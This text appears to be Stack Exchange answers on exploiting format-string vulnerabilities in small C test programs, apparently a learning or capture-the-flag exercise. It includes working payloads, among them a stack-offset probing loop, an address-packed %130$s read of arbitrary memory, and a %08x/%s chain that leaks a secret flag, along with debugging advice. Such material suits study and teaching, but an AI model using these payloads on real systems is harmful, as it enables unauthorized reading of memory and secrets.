It was rather trivial. Modifying the previous example a bit,
for ((i = 1; i < 200; i++)); do echo -n "$i " && ./test "BBAAAACC%
x" 0; done | grep 4141
the upper word of location 129 is filled with the B's, and the lower word of location 131 is filled with the C's - with the A's nicely sandwiched in the middle at location 130. So I simply had to pass the address padded with two extra bytes both at the beginning and at the end. I also figured out how to pass the hex values with printf in bash.
To verify it's working, I picked up the address (0xbffffe2c) of a known string "HOME=/home/arman" and passed it as an argument like this:
./test AA$(printf "\x2c\xfe\xff\xbf")AA%130\$s
Bingo! The string is printed like this:
AA,���AAHOME=/home/arman
EDIT: The padding at the beginning is not really required. This works perfectly as well:
./test $(printf "\x2c\xfe\xff\xbf")AA%130\$s
,���AAHOME=/home/arman
Answer from rhodeo on Stack ExchangeYour first try indicates that the pointer is stored in the 5th position.
Simply replace the 5th %08x with a suitable format code, depending on the data in the pointed to location. If flag points to a string, then %s is suitable:
AAAA.%08x.%08x.%08x.%08x.%s.%08x.%08x
Expected output:
AAAA.00000100.080c7020.00000000.1337c0de.<secret message>.deadbeef.41414141
Your bash printf command never even ran your C program. The ./fmt_string is inside the double quotes as part of the arg to the printf builtin.
On my desktop (in a directory with no file called fmt_string), I get:
$ printf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s | ./fmt_string"
��
.00000000.00000000.00000000.00000000.00000000.00000000. | ./fmt_string
That's different from the output you show, so maybe you didn't copy the command you actually ran?
Maybe you actually ran printf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s" | ./fmt_string. Without the pipe, it prints:
��
.00000000.00000000.00000000.00000000.00000000.00000000.
because you didn't do anything to stop the printf builtin from interpreting the %s in the string you're printing. Use printf '%s\n' ..., or use echo. Ironically, your attempt to test a format-string vulnerability was defeated by incorrect handling of format-strings.
Piping that printf output through your program would print it verbatim, since it no longer has any printf meta-characters. The fgets/printf loop is just copying stdin to stdout in that case, even though it has binary garbage.
As far as actually finding where flag is stored on the stack, compile with gcc -O0 -fverbose-asm -masm=intel foo.c -S -o- | less, and look at gcc's comments to see where it's putting the pointer you want.
(I'm assuming that your exploit only works against the code compiled with -O0, because otherwise the pointer will never be stored on the stack.)
IDK if you're using -m32 or not. If not, then the first 6 integer args for printf are passed in integer registers (in the x86-64 System V ABI), so you need to get through them first.
See the x86 tag wiki for ABI doc links. I'm assuming you're on Linux from the use of the printf bash command.